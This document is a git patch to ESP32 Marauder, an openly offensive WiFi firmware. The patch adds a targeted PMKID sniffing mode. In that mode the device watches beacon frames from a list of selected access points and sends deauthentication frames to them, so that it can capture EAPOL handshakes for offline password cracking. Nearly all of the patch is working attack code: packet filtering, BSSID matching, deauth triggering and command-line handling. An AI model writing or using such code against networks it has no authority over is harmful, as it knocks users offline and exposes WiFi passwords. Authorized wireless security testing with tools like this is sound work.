From 999dd776439a796cddac6f990bf89085660f73d1 Mon Sep 17 00:00:00 2001 From: Just Call Me Koko Date: Thu, 4 May 2023 14:40:53 -0400 Subject: [PATCH] Add targeted active PMKID sniff --- esp32_marauder/CommandLine.cpp | 16 +++++++-- esp32_marauder/MenuFunctions.cpp | 1 + esp32_marauder/WiFiScan.cpp | 56 ++++++++++++++++++++++++++++++-- esp32_marauder/WiFiScan.h | 1 + esp32_marauder/configs.h | 6 ++-- 5 files changed, 72 insertions(+), 8 deletions(-) diff --git a/esp32_marauder/CommandLine.cpp b/esp32_marauder/CommandLine.cpp index 5047f27..a238837 100644 --- a/esp32_marauder/CommandLine.cpp +++ b/esp32_marauder/CommandLine.cpp @@ -437,6 +437,14 @@ void CommandLine::runCommand(String input) { else if (cmd_args.get(0) == SNIFF_PMKID_CMD) { int ch_sw = this->argSearch(&cmd_args, "-c"); int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid + int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list + + if (l_sw != -1) { + if (!this->apSelected()) { + Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD); + return; + } + } if (ch_sw != -1) { wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt(); @@ -449,6 +457,10 @@ void CommandLine::runCommand(String input) { Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD); wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET); } + else if ((d_sw != -1) && (l_sw != -1)) { + Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD); + wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET); + } else { Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD); wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET); @@ -661,11 +673,11 @@ void CommandLine::runCommand(String input) { if (ap_sw != -1) { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { - Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)"); + Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)"); count_selected += 1; } else - Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi); + Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi); } this->showCounts(count_selected); } diff --git a/esp32_marauder/MenuFunctions.cpp b/esp32_marauder/MenuFunctions.cpp index 642141e..30f1ee1 100644 --- a/esp32_marauder/MenuFunctions.cpp +++ b/esp32_marauder/MenuFunctions.cpp @@ -987,6 +987,7 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) || (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) || (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) || + (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) || (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR)) { wifi_scan_obj.StartScan(WIFI_SCAN_OFF); diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index b788824..3ad3de0 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -296,6 +296,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color) RunEapolScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL) RunEapolScan(scan_mode, color); + else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL) + RunEapolScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_AP) RunBeaconScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_RAW_CAPTURE) @@ -471,6 +473,7 @@ void WiFiScan::StopScan(uint8_t scan_mode) (currentScanMode == WIFI_SCAN_ESPRESSIF) || (currentScanMode == WIFI_SCAN_EAPOL) || (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) || + (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) || (currentScanMode == WIFI_SCAN_ALL) || (currentScanMode == WIFI_SCAN_DEAUTH) || (currentScanMode == WIFI_ATTACK_BEACON_LIST) || @@ -1054,6 +1057,8 @@ void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color) esp_wifi_set_promiscuous_filter(&filt); if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL) esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback); + else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL) + esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback); else esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); @@ -2961,6 +2966,8 @@ void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + extern WiFiScan wifi_scan_obj; + bool send_deauth = settings_obj.loadSetting(text_table4[5]); wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; @@ -2975,13 +2982,46 @@ void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; } - + // Found beacon frame. Decide whether to deauth - if (snifferPacket->payload[0] == 0x80) { + if (snifferPacket->payload[0] == 0x80) { + + // Do target stuff + if (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) { + bool found = false; + + // Check list of APs + for (int i = 0; i < access_points->size(); i++) { + if (access_points->get(i).selected) { + uint8_t addr[] = {snifferPacket->payload[10], + snifferPacket->payload[11], + snifferPacket->payload[12], + snifferPacket->payload[13], + snifferPacket->payload[14], + snifferPacket->payload[15]}; + // Compare AP bssid to ssid of recvd packet + for (int x = 0; x < 6; x++) { + if (addr[x] != access_points->get(i).bssid[x]) { + found = false; + break; + } + else + found = true; + } + if (found) { + Serial.println("Received beacon from " + access_points->get(i).essid + ". Deauthenticating..."); + break; + } + } + } + if (!found) + return; + } // End targeted stuff // Build packet - //Serial.println("Recieved beacon frame"); + //Serial.println("Recieved beacon frame"); + uint8_t new_packet[26] = { 0xc0, 0x00, 0x3a, 0x01, @@ -3526,6 +3566,16 @@ void WiFiScan::main(uint32_t currentTime) eapolMonitorMain(currentTime); #endif } + else if (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) { + if (currentTime - initTime >= this->channel_hop_delay * 1000) + { + initTime = millis(); + channelHop(); + } + #ifdef HAS_SCREEN + eapolMonitorMain(currentTime); + #endif + } else if (currentScanMode == WIFI_ATTACK_AUTH) { for (int i = 0; i < 55; i++) this->sendProbeAttack(currentTime); diff --git a/esp32_marauder/WiFiScan.h b/esp32_marauder/WiFiScan.h index f0c775a..586fabe 100644 --- a/esp32_marauder/WiFiScan.h +++ b/esp32_marauder/WiFiScan.h @@ -67,6 +67,7 @@ #define WIFI_SCAN_RAW_CAPTURE 25 #define WIFI_SCAN_STATION 26 #define WIFI_ATTACK_DEAUTH_TARGETED 27 +#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28 #define GRAPH_REFRESH 100 diff --git a/esp32_marauder/configs.h b/esp32_marauder/configs.h index cd8656d..b783a1b 100644 --- a/esp32_marauder/configs.h +++ b/esp32_marauder/configs.h @@ -9,15 +9,15 @@ //#define WRITE_PACKETS_SERIAL //#define MARAUDER_MINI - //#define MARAUDER_V4 + #define MARAUDER_V4 //#define MARAUDER_V6 //#define MARAUDER_KIT //#define GENERIC_ESP32 - #define MARAUDER_FLIPPER + //#define MARAUDER_FLIPPER //#define ESP32_LDDB //#define MARAUDER_DEV_BOARD_PRO - #define MARAUDER_VERSION "v0.10.3" + #define MARAUDER_VERSION "v0.10.4" //// BUTTON DEFINITIONS #ifdef MARAUDER_MINI